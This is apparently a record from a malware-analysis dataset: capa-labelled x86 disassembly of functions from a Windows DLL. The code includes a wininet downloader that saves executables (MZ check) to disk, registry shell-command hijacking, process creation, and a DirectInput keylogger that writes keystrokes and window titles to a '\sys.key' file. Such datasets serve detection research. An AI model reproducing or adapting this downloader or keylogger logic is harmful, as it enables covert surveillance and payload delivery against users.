joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006290
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0xb6
mov esi, ebx
lea edi, [ebp - 0x5b0]
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
push 0x2ce
push ecx
lea edx, [ebp - 0x2d6]
push edx
mov dword [ebp - 0x5b4], eax
mov word [ebp - 0x2d8], cx
call fcn.10019790
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x3a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10006316
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x5b8]
push ecx
add edx, 0xfffffd28
push edx
add ebx, 0x2d8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006301
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x5a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x10006378
lea ecx, [ebp - 0x5a8]
push ecx
lea edx, [ebp - 0x3a0]
push edx
lea eax, [ebp - 0x2d8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x1000638c
lea ecx, [ebp - 0x3a0]
push ecx
lea edx, [ebp - 0x2d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x5ac]
sub eax, 0
je 0x1000639d
dec eax
jne 0x100063b0
push eax
jmp 0x1000639f
push 5
mov ebx, dword [ebp - 0x5b4]
lea edi, [ebp - 0x2d8]
call fcn.100063d0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10017a1f
mov esp, ebp
pop ebp
ret 8
Function at 0x100063d0
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa68
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.10019790
push 0x2e
push edi
call fcn.10018812
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x1000641b
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x41a]
push edx
mov word [ebp - 0x41c], cx
call fcn.10019790
push 0x20
push esi
call fcn.10018812
add esp, 0x14
push esi
test eax, eax
je 0x1000646f
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
test eax, eax
jle 0x1000648b
cmp word [esi + eax*2], 0x20
je 0x1000645f
dec eax
test eax, eax
jg 0x10006451
jmp 0x1000648b
push eax
push esi
push 0x104
lea eax, [ebp - 0x41c]
push eax
jmp 0x10006483
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
call fcn.10018840
add esp, 0x10
lea edx, [ebp - 0x214]
push edx
push 1
lea edx, [ebp - 0x41c]
mov ecx, ebx
call fcn.10006620
test eax, eax
je 0x10006408
push 0x3e8
lea eax, [ebp - 0xa0c]
push 0
push eax
call fcn.10019790
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0xa0c]
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.10019790
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x622]
push edx
mov word [ebp - 0x624], cx
call fcn.10019790
add esp, 0x30
lea eax, [ebp - 0x624]
push eax
push 2
lea edx, [ebp - 0xa0c]
mov ecx, ebx
call fcn.10006620
test eax, eax
je 0x10006408
push 0x104
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x624]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x214]
push 0x10031e64
push eax
call fcn.10018203
add esp, 8
test eax, eax
jne 0x1000658d
lea ecx, [ebp - 0x214]
push 0x10031e6c
push ecx
call fcn.10018203
add esp, 8
test eax, eax
jne 0x1000658d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x100316c4
lea edx, [ebp - 0x214]
push edx
call esi
push edi
lea eax, [ebp - 0x214]
push eax
call esi
jmp 0x10006595
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea ecx, [ebp - 0xa50]
push 0
push ecx
call fcn.10019790
add esp, 0xc
cmp dword [ebp + 8], 0
mov dword [ebp - 0xa54], 0x44
je 0x100065c4
mov dword [ebp - 0xa4c], str.WinSta0Default
jmp 0x100065d7
xor edx, edx
mov dword [ebp - 0xa28], 1
mov word [ebp - 0xa24], dx
lea eax, [ebp - 0xa64]
push eax
lea ecx, [ebp - 0xa54]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov al, 1
pop esi
call fcn.10017a1f
mov esp, ebp
pop ebp
ret 4
Function at 0x10006910
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x218], 0
mov eax, str.back
jne 0x1000692b
mov eax, str.main
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 4]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
cmp dword [esi + 0x218], 0
mov eax, str.back
jne 0x10006969
mov eax, str.main
lea ecx, [ebp - 4]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x100069ac
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 4]
add eax, eax
push eax
push esi
push 3
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100069ac
mov eax, dword [ebp - 4]
push eax
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
push ecx
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10006ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x10006b40
test esi, esi
je 0x10006b2d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x10006b22
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x10006c2f
jmp 0x10006ba0
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.10019790
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x10006bec
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x10006c1b
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x10006ba0
jmp 0x10006c22
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x10006c5e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10007120
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x10007163
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x1000715c
mov esi, dword [eax + 0x20]
jmp 0x10007163
test bl, bl
jns 0x10007163
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x10007230
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x100071b8
mov ecx, dword [ebx]
test cl, 0x40
je 0x100071b1
mov edi, dword [eax + 0x20]
jmp 0x100071b8
test cl, cl
jns 0x100071b8
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x100071e7
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x100071e7
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.10007070
test eax, eax
je 0x1000724e
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x1000720f
mov eax, dword [ebx]
test eax, 0x2000000
je 0x100071fe
test dword [ebp - 0x10], 0x2000000
je 0x100071fe
or dword [ebp - 0x10], eax
jmp 0x10007209
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x10007190
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.10007070
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007c30
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x2ec]
push ecx
call edi
lea eax, [esi + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp + 0x10]
push edx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.10018263
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.10019420
mov eax, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2e8]
add esp, 0xc
push 0
add eax, 8
push 0
mov dword [esi + 0x2d8], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x2ec]
push 0xfa0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10007d22
cmp eax, 0x102
je 0x10007d0a
cmp eax, 0xffffffff
jne 0x10007d17
mov ecx, dword [esi + 0x2ec]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [edi]
sub eax, dword [ebx]
mov ecx, dword [edi + 4]
sbb ecx, dword [ebx + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
fild qword [ebp - 8]
push 1
fild qword [esi + 0xb0]
lea eax, [esi + 0xcc]
push eax
fdiv qword [0x10032098]
fdivp st(1)
fstp qword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100088a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x1003cb04], 0
jne 0x100088ee
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0
push 0
push 0x10008380
push 0
mov ecx, 0x386
mov edi, str.xiuaishiyong
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1003cb04], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1003cb04]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebp
ret

Function at 0x10008900
Capabilities:
Create thread

Disassembly:
cmp dword [0x1003cb04], 0
jne 0x10008938
push 0
push 0
push 0
push 0x10008380
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
mov dword [0x1003cb04], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1003cb04]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret
Function at 0x10008950
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x1003ae88
push 0
push 0
push 0x23
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._sys.key
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1003ae88
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x1003cb14], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x3200000
jbe 0x100089ec
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x1003cb14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x1003cb08
push 0x10030b5c
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x10008a2a
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
mov eax, dword [0x1003cb08]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x1003cb0c
push 0x10030b7c
push eax
call edx
test eax, eax
js 0x10008a18
mov eax, dword [0x1003cb0c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x10030b44
push eax
call edx
test eax, eax
js 0x10008a18
mov eax, dword [0x1003cb0c]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x10008a18
mov eax, dword [0x1003cb0c]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x10008a18
mov eax, dword [0x1003cb0c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
mov ecx, dword [ebp - 4]
test eax, eax
setns al
pop edi
xor ecx, ebp
pop esi
call fcn.10017a1f
mov esp, ebp
pop ebp
ret

Function at 0x10008ad0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1003cb14]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003cb14]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008b50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x1003cfd0
call fcn.10019790
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x1003cfd0
push eax
mov dword [0x1003cfcc], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.10019790
mov edx, dword [0x1003cfcc]
add esp, 0xc
cmp edx, dword [0x1003cfc8]
je 0x10008c59
push 0x1003cfd0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10008c4d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x1003cfd0
lea ecx, [ebp - 0x808]
push 0x10032038
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.10008ad0
push 0x800
push esi
push 0x1003cfd0
call fcn.10019790
add esp, 0x30
mov esi, 1
mov edx, dword [0x1003cfcc]
mov dword [0x1003cfc8], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10017a1f
mov esp, ebp
pop ebp
ret
Function at 0x10008c70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [0x100351c0]
xor eax, esp
mov dword [esp + 0x50], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
lea ecx, [ecx]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10008b50
test eax, eax
je 0x10008d14
mov eax, dword [0x1003cb14]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0x10032084
call ebx
add eax, eax
push eax
push 0x10032084
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003cb14]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x1003cb0c]
test eax, eax
je 0x10008d3d
push 0
push 0x1003cb10
push 0x1003cb18
mov dword [0x1003cb10], 0x3c
mov ecx, dword [eax]
mov edx, dword [ecx + 0x28]
push 0x14
push eax
call edx
cmp dword [0x1003cb10], 0
mov dword [esp + 0x10], 0
jle 0x10008c90
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x20]
push eax
call ebx
push eax
lea ecx, [esp + 0x24]
push 0
push ecx
call fcn.10019790
add esp, 0xc
mov edi, str._esc_
mov edx, dword [esi + 0x1003cb18]
dec edx
cmp edx, dword [edi + 0x28]
jne 0x10008e1d
test byte [esi + 0x1003cb1c], 0x80
je 0x10008e1d
push edi
lea eax, [esp + 0x24]
push 0x10032090
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [0x1003cb14]
add esp, 0xc
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x1003ae88
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x28]
push eax
call ebx
add eax, eax
push eax
lea ecx, [esp + 0x2c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1003cb14]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [esp + 0x14]
add edi, 0x2c
cmp edi, str.xiuaishiyong
jl 0x10008d74
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
cmp eax, dword [0x1003cb10]
jl 0x10008d58
jmp 0x10008c90

Function at 0x1000e620
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000e3b0
Function at 0x10011520
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0
test eax, eax
jne 0x10011572
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 8]
push eax
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x100115ab
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 4]
push edx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
push edi
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x100115e4
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 4]
push ecx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10011930
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp edx, ecx
ja 0x10011968
jb 0x1001195e
cmp eax, ebx
jae 0x10011968
mov eax, ebx
mov edx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 0x18]
push 0
push eax
push edx
push ecx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
test eax, eax
jne 0x1001198e
call fcn.1000f1f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
mov edx, dword [ebp + 0x10]
test ebx, ebx
jne 0x1001199f
mov ecx, dword [ebp - 8]
sub ecx, edx
mov dword [esi + 4], ecx
jmp 0x100119a2
mov dword [esi + 4], ebx
mov ecx, dword [ebp + 0x1c]
mov dword [esi + 0x10], edx
mov edx, dword [ebp + 0x14]
push 0
mov dword [esi + 0x14], edx
mov edx, dword [esi + 4]
push edx
mov edx, dword [esi + 0x10]
push edx
mov edx, dword [esi + 0x14]
push edx
push ecx
push eax
mov dword [esi + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov dword [esi], eax
test eax, eax
jne 0x100119f0
call fcn.1000f1f0
mov edi, eax
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
mov dword [esi + 8], 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x18